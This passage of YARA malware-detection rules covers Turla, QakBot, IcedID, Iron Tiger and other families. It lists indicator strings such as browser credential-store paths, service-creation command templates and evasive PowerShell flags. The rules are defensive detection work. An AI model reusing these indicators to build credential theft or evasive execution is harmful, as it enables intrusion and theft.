		$s7 = "/javascript/view.php" fullword ascii
		$s8 = "Task %d failed %s,%d" fullword ascii
		$s9 = "Mozilla/4.0 (compatible; MSIE %d.0; " fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) or 6 of ( $s* ) ) ) or ( 10 of them )
}

rule Turla_Mal_Script_Jan18_1
{
	meta:
		description = "Detects Turla malicious script"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://ghostbin.com/paste/jsph7"
		date = "2018-01-19"
		hash1 = "180b920e9cea712d124ff41cd1060683a14a79285d960e17f0f49b969f15bfcc"
		id = "4b550b3c-182c-5dc0-b2d2-13925c22be81"

	strings:
		$s1 = ".charCodeAt(i % " ascii
		$s2 = "{WScript.Quit();}" fullword ascii
		$s3 = ".charAt(i)) << 10) |" ascii
		$s4 = " = WScript.Arguments;var " ascii
		$s5 = "= \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";var i;" ascii

	condition:
		filesize < 200KB and 2 of them
}

import "pe"

rule Turla_KazuarRAT
{
	meta:
		description = "Detects Turla Kazuar RAT described by DrunkBinary"
		author = "Markus Neis / Florian Roth"
		reference = "https://twitter.com/DrunkBinary/status/982969891975319553"
		date = "2018-04-08"
		hash1 = "6b5d9fca6f49a044fd94c816e258bf50b1e90305d7dab2e0480349e80ed2a0fa"
		hash2 = "7594fab1aadc4fb08fb9dbb27c418e8bc7f08dadb2acf5533dc8560241ecfc1d"
		hash3 = "4e5a86e33e53931afe25a8cb108f53f9c7e6c6a731b0ef4f72ce638d0ea5c198"
		id = "147cc7b7-6dbd-51a2-9501-bcbaec32e20e"

	strings:
		$x1 = "~1.EXE" wide
		$s2 = "dl32.dll" fullword ascii
		$s3 = "HookProc@" ascii
		$s4 = "0`.wtf" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20KB and ( pe.imphash ( ) == "682156c4380c216ff8cb766a2f2e8817" or 2 of them )
}

rule MAL_Turla_Agent_BTZ
{
	meta:
		description = "Detects Turla Agent.BTZ"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified"
		date = "2018-04-12"
		modified = "2023-01-06"
		score = 90
		hash1 = "c4a1cd6916646aa502413d42e6e7441c6e7268926484f19d9acbf5113fc52fc8"
		id = "bd642f11-19f6-5178-b978-1215215fea86"

	strings:
		$x1 = "1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s" fullword ascii
		$x3 = "mstotreg.dat" fullword ascii
		$x4 = "Bisuninst.bin" fullword ascii
		$x5 = "mfc42l00.pdb" fullword ascii
		$x6 = "ielocal~f.tmp" fullword ascii
		$s1 = "%s\\1.txt" fullword ascii
		$s2 = "%windows%" fullword ascii
		$s3 = "%s\\system32" fullword ascii
		$s4 = "\\Help\\SYSTEM32\\" ascii
		$s5 = "%windows%\\mfc42l00.pdb" ascii
		$s6 = "Size of log(%dB) is too big, stop write." fullword ascii
		$s7 = "Log: Size of log(%dB) is too big, stop write." fullword ascii
		$s8 = "%02d.%02d.%04d Log begin:" fullword ascii
		$s9 = "\\system32\\win.com" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of ( $x* ) or 4 of them )
}

rule MAL_Turla_Sample_May18_1
{
	meta:
		description = "Detects Turla samples"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/omri9741/status/991942007701598208"
		date = "2018-05-03"
		hash1 = "4c49c9d601ebf16534d24d2dd1cab53fde6e03902758ef6cff86be740b720038"
		hash2 = "77cbd7252a20f2d35db4f330b9c4b8aa7501349bc06bbcc8f40ae13d01ae7f8f"
		id = "5052838f-a895-55cb-abcf-813465074127"

	strings:
		$x1 = "sc %s create %s binPath= \"cmd.exe /c start %%SystemRoot%%\\%s\">>%s" fullword ascii
		$x2 = "cmd.exe /c start %%SystemRoot%%\\%s" fullword ascii
		$x3 = "cmd.exe /c %s\\%s -s %s:%s:%s -c \"%s %s /wait 1\">>%s" fullword ascii
		$x4 = "Read InjectLog[%dB]********************************" fullword ascii
		$x5 = "%s\\System32\\011fe-3420f-ff0ea-ff0ea.tmp" fullword ascii
		$x6 = "**************************** Begin ini %s [%d]***********************************************" fullword ascii
		$x7 = "%s -o %s -i %s -d exec2 -f %s" fullword ascii
		$x8 = "Logon to %s failed: code %d(User:%s,Pass:%s)" fullword ascii
		$x9 = "system32\\dxsnd32x.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and 1 of them
}

rule APT_MAL_LNX_Turla_Apr20_1
{
	meta:
		description = "Detects Turla Linux malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/Int2e_/status/1246115636331319309"
		date = "2020-04-05"
		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
		id = "f21e7793-a7dd-5195-805d-963827b35808"

	strings:
		$s1 = "/root/.hsperfdata" ascii fullword
		$s2 = "Desc|     Filename     |  size  |state|" ascii fullword
		$s3 = "IPv6 address %s not supported" ascii fullword
		$s4 = "File already exist on remote filesystem !" ascii fullword
		$s5 = "/tmp/.sync.pid" ascii fullword
		$s6 = "'gateway' supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel" ascii fullword

	condition:
		uint16( 0 ) == 0x457f and filesize < 5000KB and 4 of them
}

rule APT_MAL_TinyTurla_Sep21_1
{
	meta:
		author = "Cisco Talos"
		description = "Detects Tiny Turla backdoor DLL"
		reference = "https://blog.talosintelligence.com/2021/09/tinyturla.html"
		hash1 = "030cbd1a51f8583ccfc3fa38a28a5550dc1c84c05d6c0f5eb887d13dedf1da01"
		date = "2021-09-21"
		id = "19659ac7-310a-52dd-a94c-022c7add752b"

	strings:
		$a = "Title: " fullword wide
		$b = "Hosts" fullword wide
		$c = "Security" fullword wide
		$d = "TimeLong" fullword wide
		$e = "TimeShort" fullword wide
		$f = "MachineGuid" fullword wide
		$g = "POST" fullword wide
		$h = "WinHttpSetOption" fullword ascii
		$i = "WinHttpQueryDataAvailable" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 25KB and all of them
}

rule PowerShell_Susp_Parameter_Combo : HIGHVOL FILE
{
	meta:
		description = "Detects PowerShell invocation with suspicious parameters"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/uAic1X"
		date = "2017-03-12"
		modified = "2022-09-15"
		score = 60
		id = "17c707f3-7f51-5772-9874-a96c220960a7"

	strings:
		$sa1 = " -enc " ascii wide nocase
		$sa2 = " -EncodedCommand " ascii wide nocase
		$sa3 = " /enc " ascii wide nocase
		$sa4 = " /EncodedCommand " ascii wide nocase
		$sb1 = " -w hidden " ascii wide nocase
		$sb2 = " -window hidden " ascii wide nocase
		$sb3 = " -windowstyle hidden " ascii wide nocase
		$sb4 = " /w hidden " ascii wide nocase
		$sb5 = " /window hidden " ascii wide nocase
		$sb6 = " /windowstyle hidden " ascii wide nocase
		$sc1 = " -nop " ascii wide nocase
		$sc2 = " -noprofile " ascii wide nocase
		$sc3 = " /nop " ascii wide nocase
		$sc4 = " /noprofile " ascii wide nocase
		$sd1 = " -noni " ascii wide nocase
		$sd2 = " -noninteractive " ascii wide nocase
		$sd3 = " /noni " ascii wide nocase
		$sd4 = " /noninteractive " ascii wide nocase
		$se1 = " -ep bypass " ascii wide nocase
		$se2 = " -exec bypass " ascii wide nocase
		$se3 = " -executionpolicy bypass " ascii wide nocase
		$se4 = " -exec bypass " ascii wide nocase
		$se5 = " /ep bypass " ascii wide nocase
		$se6 = " /exec bypass " ascii wide nocase
		$se7 = " /executionpolicy bypass " ascii wide nocase
		$se8 = " /exec bypass " ascii wide nocase
		$sf1 = " -sta " ascii wide
		$sf2 = " /sta " ascii wide
		$fp1 = "Chocolatey Software" ascii wide
		$fp2 = "VBOX_MSI_INSTALL_PATH" ascii wide
		$fp3 = "\\Local\\Temp\\en-US.ps1" ascii wide
		$fp4 = "Lenovo Vantage - Battery Gauge Helper" wide fullword
		$fp5 = "\\LastPass\\lpwinmetro\\AppxUpgradeUwp.ps1" ascii
		$fp6 = "# use the encoded form to mitigate quoting complications that full scriptblock transfer exposes" ascii
		$fp7 = "Write-AnsibleLog \"INFO - s" ascii
		$fp8 = "\\Packages\\Matrix42\\" ascii
		$fp9 = "echo " ascii
		$fp10 = "install" ascii fullword
		$fp11 = "REM " ascii
		$fp12 = "set /p " ascii
		$fp13 = "rxScan Application" wide
		$fpa1 = "All Rights"
		$fpa2 = "<html"
		$fpa2b = "<HTML"
		$fpa3 = "Copyright"
		$fpa4 = "License"
		$fpa5 = "<?xml"
		$fpa6 = "Help" fullword
		$fpa7 = "COPYRIGHT"

	condition:
		filesize < 3000KB and 4 of ( $s* ) and not 1 of ( $fp* ) and uint32be( 0 ) != 0x456C6646
}

import "pe"

rule MAL_DevilsTongue_HijackDll
{
	meta:
		description = "Detects SOURGUM's DevilsTongue hijack DLL"
		author = "Microsoft Threat Intelligence Center (MSTIC)"
		date = "2021-07-15"
		reference = "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/"
		score = 80
		id = "390b8b73-6740-513d-8c70-c9002be0ce69"

	strings:
		$str1 = "windows.old\\windows" wide
		$str2 = "NtQueryInformationThread"
		$str3 = "dbgHelp.dll" wide
		$str4 = "StackWalk64"
		$str5 = "ConvertSidToStringSidW"
		$str6 = "S-1-5-18" wide
		$str7 = "SMNew.dll"
		$code1 = { B8 FF 15 00 00 66 39 41 FA 74 06 80 79 FB E8 }
		$code2 = { 44 8B C0 B8 B5 81 4E 1B 41 F7 E8 C1 FA 05 8B CA C1 E9 1F 03 D1 69 CA 2C 01 00 00 44 2B C1 45 85 C0 7E 19 }

	condition:
		filesize < 800KB and uint16( 0 ) == 0x5A4D and ( pe.characteristics & pe.DLL ) and ( 4 of them or ( $code1 and $code2 ) or pe.imphash ( ) == "9a964e810949704ff7b4a393d9adda60" )
}

rule BeepService_Hacktool
{
	meta:
		description = "Detects BeepService Hacktool used by Chinese APT groups"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/p32Ozf"
		date = "2016-05-12"
		score = 85
		hash1 = "032df812a68852b6f3822b9eac4435e531ca85bdaf3ee99c669134bd16e72820"
		hash2 = "e30933fcfc9c2a7443ee2f23a3df837ca97ea5653da78f782e2884e5a7b734f7"
		hash3 = "ebb9c4f7058e19b006450b8162910598be90428998df149977669e61a0b7b9ed"
		hash4 = "6db2ffe7ec365058f9d3b48dcca509507c138f19ade1adb5f13cf43ea0623813"
		id = "8813a01a-10db-52e7-bb1e-322864e87b15"

	strings:
		$x1 = "\\\\%s\\admin$\\system32\\%s" fullword ascii
		$s1 = "123.exe" fullword ascii
		$s2 = "regclean.exe" fullword ascii
		$s3 = "192.168.88.69" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and $x1 and 1 of ( $s* )
}

rule CredentialStealer_Generic_Backdoor
{
	meta:
		description = "Detects credential stealer byed on many strings that indicate password store access"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-06-07"
		hash1 = "edb2d039a57181acf95bd91b2a20bd9f1d66f3ece18506d4ad870ab65e568f2c"
		id = "b3124f6c-4e18-562c-84d9-d51e086da446"

	strings:
		$s1 = "GetOperaLoginData" fullword ascii
		$s2 = "GetInternetExplorerCredentialsPasswords" fullword ascii
		$s3 = "%s\\Opera Software\\Opera Stable\\Login Data" fullword ascii
		$s4 = "select *  from moz_logins" fullword ascii
		$s5 = "%s\\Google\\Chrome\\User Data\\Default\\Login Data" fullword ascii
		$s6 = "Host.dll.Windows" fullword ascii
		$s7 = "GetInternetExplorerVaultPasswords" fullword ascii
		$s8 = "GetWindowsLiveMessengerPasswords" fullword ascii
		$s9 = "%s\\Chromium\\User Data\\Default\\Login Data" fullword ascii
		$s10 = "%s\\Opera\\Opera\\profile\\wand.dat" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and 4 of them )
}

rule MAL_QakBot_ConfigExtraction_Feb23
{
	meta:
		author = "kevoreilly"
		description = "QakBot Config Extraction"
		cape_options = "bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config"
		packed = "f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68"
		reference = "https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar"
		date = "2023-02-17"
		license = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
		id = "401184cf-bbd7-5afe-9589-470f54721af1"

	strings:
		$params = {8B 7D ?? 8B F1 57 89 55 ?? E8 [4] 8D 9E [2] 00 00 89 03 59 85 C0 75 08 6A FC 58 E9}
		$c2list1 = {59 59 8D 4D D8 89 45 E0 E8 [4] 8B 45 E0 85 C0 74 ?? 8B 90 [2] 00 00 51 8B 88 [2] 00 00 6A 00 E8}
		$c2list2 = {59 59 8B F8 8D 4D ?? 89 7D ?? E8 [4] 85 FF 74 52 8B 97 [2] 00 00 51 8B 8F [2] 00 00 53 E8}
		$conf = {5F 5E 5B C9 C3 51 6A 00 E8 [4] 59 59 85 C0 75 01 C3}

	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule MAL_QakBotLoader_Export_Section_Feb23
{
	meta:
		author = "kevoreilly"
		description = "QakBot Export Selection"
		cape_options = "export=$export"
		hash = "6f99171c95a8ed5d056eeb9234dbbee123a6f95f481ad0e0a966abd2844f0e1a"
		reference = "https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar"
		date = "2023-02-17"
		license = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
		id = "cb86e9fb-a8d2-5285-aeda-622704399f8e"

	strings:
		$export = {55 8B EC 83 EC 50 (3A|66 3B) ?? 74}
		$wind = {(66 3B|3A) ?? 74 [1-14] BB 69 04 00 00 53 E8 [5-7] 74}

	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule MAL_QakBotAntiVM_AntiVM_Bypass_Feb23
{
	meta:
		author = "kevoreilly"
		description = "QakBot AntiVM bypass"
		cape_options = "bp0=$antivm1,action0=unwind,count=1"
		hash = "e269497ce458b21c8427b3f6f6594a25d583490930af2d3395cb013b20d08ff7"
		reference = "https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar"
		date = "2023-02-17"
		license = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
		id = "7446522a-788a-512d-ad68-2fcc56169f5a"

	strings:
		$antivm1 = {55 8B EC 3A E4 0F [2] 00 00 00 6A 04 58 3A E4 0F [2] 00 00 00 C7 44 01 [5] 81 44 01 [5] 66 3B FF 74 ?? 6A 04 58 66 3B ED 0F [2] 00 00 00 C7 44 01 [5] 81 6C 01 [5] EB}

	condition:
		all of them
}

rule MAL_IcedID_Fake_GZIP_Bokbot_202104
{
	meta:
		author = "Thomas Barabosch, Telekom Security"
		date = "2021-04-20"
		description = "Detects fake gzip provided by CC"
		reference = "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
		id = "538d84d8-aff2-571c-ba60-102f18262434"

	strings:
		$gzip = {1f 8b 08 08 00 00 00 00 00 00 75 70 64 61 74 65}

	condition:
		$gzip at 0
}

rule MAL_IcedID_GZIP_LDR_202104
{
	meta:
		author = "Thomas Barabosch, Telekom Security"
		date = "2021-04-12"
		modified = "2023-01-27"
		description = "2021 initial Bokbot / Icedid loader for fake GZIP payloads"
		reference = "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
		id = "fbf578e7-c318-5f67-82df-f93232362a23"

	strings:
		$internal_name = "loader_dll_64.dll" fullword
		$string0 = "_gat=" wide
		$string1 = "_ga=" wide
		$string2 = "_gid=" wide
		$string4 = "_io=" wide
		$string5 = "GetAdaptersInfo" fullword
		$string6 = "WINHTTP.dll" fullword
		$string7 = "DllRegisterServer" fullword
		$string8 = "PluginInit" fullword
		$string9 = "POST" wide fullword
		$string10 = "aws.amazon.com" wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( $internal_name or all of ( $s* ) ) or all of them
}

rule MAL_IcedId_Core_LDR_202104
{
	meta:
		author = "Thomas Barabosch, Telekom Security"
		date = "2021-04-13"
		description = "2021 loader for Bokbot / Icedid core (license.dat)"
		reference = "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
		id = "f096e18d-3a31-5236-b3c3-0df39b408d9a"

	strings:
		$internal_name = "sadl_64.dll" fullword
		$string0 = "GetCommandLineA" fullword
		$string1 = "LoadLibraryA" fullword
		$string2 = "ProgramData" fullword
		$string3 = "SHLWAPI.dll" fullword
		$string4 = "SHGetFolderPathA" fullword
		$string5 = "DllRegisterServer" fullword
		$string6 = "update" fullword
		$string7 = "SHELL32.dll" fullword
		$string8 = "CreateThread" fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( $internal_name and 5 of them ) or all of them
}

rule MAL_IceId_Core_202104
{
	meta:
		author = "Thomas Barabosch, Telekom Security"
		date = "2021-04-12"
		description = "2021 Bokbot / Icedid core"
		reference = "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
		id = "526a73da-415f-58fe-bb5f-4c3df6b2e647"

	strings:
		$internal_name = "fixed_loader64.dll" fullword
		$string0 = "mail_vault" wide fullword
		$string1 = "ie_reg" wide fullword
		$string2 = "outlook" wide fullword
		$string3 = "user_num" wide fullword
		$string4 = "cred" wide fullword
		$string5 = "Authorization: Basic" fullword
		$string6 = "VaultOpenVault" fullword
		$string7 = "sqlite3_free" fullword
		$string8 = "cookie.tar" fullword
		$string9 = "DllRegisterServer" fullword
		$string10 = "PT0S" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( $internal_name or all of ( $s* ) ) or all of them
}

rule MAL_QBot_HTML_Smuggling_Indicators_Oct22_1
{
	meta:
		description = "Detects double encoded PKZIP headers as seen in HTML files used by QBot"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/ankit_anubhav/status/1578257383133876225?s=20&t=Bu3CCJCzImpTGOQX_KGsdA"
		date = "2022-10-07"
		score = 75
		hash1 = "4f384bcba31fda53e504d0a6c85cee0ce3ea9586226633d063f34c53ddeaca3f"
		hash2 = "8e61c2b751682becb4c0337f5a79b2da0f5f19c128b162ec8058104b894cae9b"
		hash3 = "c5d23d991ce3fbcf73b177bc6136d26a501ded318ccf409ca16f7c664727755a"
		hash4 = "5072d91ee0d162c28452123a4d9986f3df6b3244e48bf87444ce88add29dd8ed"
		hash5 = "ff4e21f788c36aabe6ba870cf3b10e258c2ba6f28a2d359a25d5a684c92a0cad"
		id = "8034d6af-4dae-5ff6-b635-efb5175fe4d1"

	strings:
		$sd1 = "VUVzREJCUUFBUUFJQ"
		$sd2 = "VFc0RCQlFBQVFBSU"
		$sd3 = "VRXNEQkJRQUFRQUlB"
		$sdr1 = "QJFUUBFUUCJERzVUV"
		$sdr2 = "USBFVQBFlQCR0cFV"
		$sdr3 = "BlUQRFUQRJkQENXRV"
		$st1 = "VlVWelJFSkNVVUZCVVVGSl"
		$st2 = "ZVVnpSRUpDVVVGQlVVRkpR"
		$st3 = "WVVZ6UkVKQ1VVRkJVVUZKU"
		$st4 = "VkZjMFJDUWxGQlFWRkJTV"
		$st5 = "ZGYzBSQ1FsRkJRVkZCU1"
		$st6 = "WRmMwUkNRbEZCUVZGQlNV"
		$st7 = "VlJYTkVRa0pSUVVGUlFVbE"
		$st8 = "ZSWE5FUWtKUlFVRlJRVWxC"
		$st9 = "WUlhORVFrSlJRVUZSUVVsQ"
		$str1 = "UUpGVVVCRlVVQ0pFUnpWVV"
		$str2 = "FKRlVVQkZVVUNKRVJ6VlVW"
		$str3 = "RSkZVVUJGVVVDSkVSelZVV"
		$str4 = "VVNCRlZRQkZsUUNSMGNGV"
		$str5 = "VTQkZWUUJGbFFDUjBjRl"
		$str6 = "VU0JGVlFCRmxRQ1IwY0ZW"
		$str7 = "QmxVUVJGVVFSSmtRRU5YUl"
		$str8 = "JsVVFSRlVRUkprUUVOWFJW"
		$str9 = "CbFVRUkZVUVJKa1FFTlhSV"
		$htm = "<html" ascii
		$eml = "Content-Transfer-Encoding:" ascii

	condition:
		filesize < 10MB and ( ( 1 of ( $sd* ) and $htm and not $eml ) or ( 1 of ( $st* ) and $eml ) )
}

rule IronTiger_ASPXSpy : HIGHVOL
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "ASPXSpy detection. It might be used by other fraudsters"
		reference = "http://goo.gl/T5fSJC"
		id = "3010fcb9-0dbf-59ef-90ce-01d922a95f2d"

	strings:
		$str2 = "IIS Spy" wide ascii
		$str3 = "protected void DGCoW(object sender,EventArgs e)" wide ascii

	condition:
		any of ( $str* )
}

rule IronTiger_ChangePort_Toolkit_driversinstall
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "Iron Tiger Malware - Changeport Toolkit driverinstall"
		reference = "http://goo.gl/T5fSJC"
		id = "fde2728b-9a23-5f35-9727-0834a7b403da"

	strings:
		$str1 = "openmydoor" wide ascii
		$str2 = "Install service error" wide ascii
		$str3 = "start remove service" wide ascii
		$str4 = "NdisVersion" wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $str* ) )
}

rule IronTiger_ChangePort_Toolkit_ChangePortExe
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "Iron Tiger Malware - Toolkit ChangePort"
		reference = "http://goo.gl/T5fSJC"
		id = "2ba74413-5f72-560a-8567-1c4bf3357097"

	strings:
		$str1 = "Unable to alloc the adapter!" wide ascii
		$str2 = "Wait for master fuck" wide ascii
		$str3 = "xx.exe <HOST> <PORT>" wide ascii
		$str4 = "chkroot2007" wide ascii
		$str5 = "Door is bind on %s" wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $str* ) )
}

rule IronTiger_dllshellexc2010
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "dllshellexc2010 Exchange backdoor + remote shell"
		reference = "http://goo.gl/T5fSJC"
		id = "960e8e5c-65a5-5dd2-90fa-1f7d31ee8cb5"

	strings:
		$str1 = "Microsoft.Exchange.Clients.Auth.dll" ascii wide
		$str2 = "Dllshellexc2010" wide ascii
		$str3 = "Users\\ljw\\Documents" wide ascii
		$bla1 = "please input path" wide ascii
		$bla2 = "auth.owa" wide ascii

	condition:
		( uint16( 0 ) == 0x5a4d ) and ( ( any of ( $str* ) ) or ( all of ( $bla* ) ) )
}

rule IronTiger_dnstunnel
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "This rule detects a dns tunnel tool used in Operation Iron Tiger"
		reference = "http://goo.gl/T5fSJC"
		id = "7f24d3dd-4301-5b12-8262-4cc5f6578a4b"

	strings:
		$str1 = "\\DnsTunClient\\" wide ascii
		$str2 = "\\t-DNSTunnel\\" wide ascii
		$str3 = "xssok.blogspot" wide ascii
		$str4 = "dnstunclient" wide ascii
		$mistake1 = "because of error, can not analysis" wide ascii
		$mistake2 = "can not deal witn the error" wide ascii
		$mistake3 = "the other retun one RST" wide ascii
		$mistake4 = "Coversation produce one error" wide ascii
		$mistake5 = "Program try to use the have deleted the buffer" wide ascii

	condition:
		( uint16( 0 ) == 0x5a4d ) and ( ( any of ( $str* ) ) or ( any of ( $mistake* ) ) )
}

rule IronTiger_EFH3_encoder
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "Iron Tiger EFH3 Encoder"
		reference = "http://goo.gl/T5fSJC"
		id = "ec30782e-8fe9-5843-9db4-5a3c477b7f25"

	strings:
		$str1 = "EFH3 [HEX] [SRCFILE] [DSTFILE]" wide ascii
		$str2 = "123.EXE 123.EFH" wide ascii
		$str3 = "ENCODER: b[i]: = " wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( any of ( $str* ) )
}

rule IronTiger_GetPassword_x64
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "Iron Tiger Malware - GetPassword x64"
		reference = "http://goo.gl/T5fSJC"
		modified = "2023-01-06"
		id = "8f55b23f-52fd-5106-9112-6cffa97269ab"

	strings:
		$str1 = "(LUID ERROR)" wide ascii
		$str2 = "Users\\K8team\\Desktop\\GetPassword" wide ascii
		$str3 = "Debug x64\\GetPassword.pdb" ascii
		$bla1 = "Authentication Package:" wide ascii
		$bla2 = "Authentication Domain:" wide ascii
		$bla3 = "* Password:" wide ascii
		$bla4 = "Primary User:" wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( ( any of ( $str* ) ) or ( all of ( $bla* ) ) )
}

rule IronTiger_GTalk_Trojan
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "Iron Tiger Malware - GTalk Trojan"
		reference = "http://goo.gl/T5fSJC"
		id = "3d72660b-c470-5e63-a83d-990d3c5a696c"

	strings:
		$str1 = "gtalklite.com" wide ascii
		$str2 = "computer=%s&lanip=%s&uid=%s&os=%s&data=%s" wide ascii
		$str3 = "D13idmAdm" wide ascii
		$str4 = "Error: PeekNamedPipe failed with %i" wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $str* ) )
}

rule IronTiger_HTTP_SOCKS_Proxy_soexe
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "Iron Tiger Toolset - HTTP SOCKS Proxy soexe"
		reference = "http://goo.gl/T5fSJC"
		id = "6ead3d61-c1e3-55d1-894e-ab57bcd09cde"

	strings:
		$str1 = "listen SOCKET error." wide ascii
		$str2 = "WSAAsyncSelect SOCKET error." wide ascii
		$str3 = "new SOCKETINFO error!" wide ascii
		$str4 = "Http/1.1 403 Forbidden" wide ascii
		$str5 = "Create SOCKET error." wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $str* ) )
}

rule IronTiger_NBDDos_Gh0stvariant_dropper
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "Iron Tiger Malware - NBDDos Gh0stvariant Dropper"
		reference = "http://goo.gl/T5fSJC"
		id = "3610b9e3-45f8-5a8d-8977-817160009818"

	strings:
		$str1 = "This service can't be stoped." wide ascii
		$str2 = "Provides support for media palyer" wide ascii
		$str4 = "CreaetProcess Error" wide ascii
		$bla1 = "Kill You" wide ascii
		$bla2 = "%4.2f GB" wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( ( any of ( $str* ) ) or ( all of ( $bla* ) ) )
}

rule IronTiger_PlugX_DosEmulator
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro - modified by Florian Roth"
		description = "Iron Tiger Malware - PlugX DosEmulator"
		reference = "http://goo.gl/T5fSJC"
		id = "e601d91d-49e6-5fe9-b70b-fb1fb6c4f059"

	strings:
		$str1 = "Dos Emluator Ver" wide ascii
		$str2 = "\\PIPE\\FASTDOS" wide ascii
		$str3 = "FastDos.cpp" wide ascii
		$str4 = "fail,error code = %d." wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and 2 of ( $str* )
}

rule IronTiger_PlugX_FastProxy
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "Iron Tiger Malware - PlugX FastProxy"
		reference = "http://goo.gl/T5fSJC"
		id = "14e05823-6288-5f02-8060-add51084c446"

	strings:
		$str1 = "SAFEPROXY HTServerTimer Quit!" wide ascii
		$str2 = "Useage: %s pid" wide ascii
		$str3 = "%s PORT[%d] TO PORT[%d] SUCCESS!" wide ascii
		$str4 = "p0: port for listener" wide ascii
		$str5 = "\\users\\whg\\desktop\\plug\\" wide ascii
		$str6 = "[+Y] cwnd : %3d, fligth:" wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( any of ( $str* ) )
}

rule IronTiger_PlugX_Server
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "Iron Tiger Malware - PlugX Server"
		reference = "http://goo.gl/T5fSJC"
		id = "38011a23-3ed7-5f58-a814-2551526b27f3"

	strings:
		$str1 = "\\UnitFrmManagerKeyLog.pas" wide ascii
		$str2 = "\\UnitFrmManagerRegister.pas" wide ascii
		$str3 = "Input Name..." wide ascii
		$str4 = "New Value#" wide ascii
		$str5 = "TThreadRControl.Execute SEH!!!" wide ascii
		$str6 = "\\UnitFrmRControl.pas" wide ascii
		$str7 = "OnSocket(event is error)!" wide ascii
		$str8 = "Make 3F Version Ok!!!" wide ascii
		$str9 = "PELEASE DO NOT CHANGE THE DOCAMENT" wide ascii
		$str10 = "Press [Ok] Continue Run, Press [Cancel] Exit" wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $str* ) )
}

rule IronTiger_ReadPWD86
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
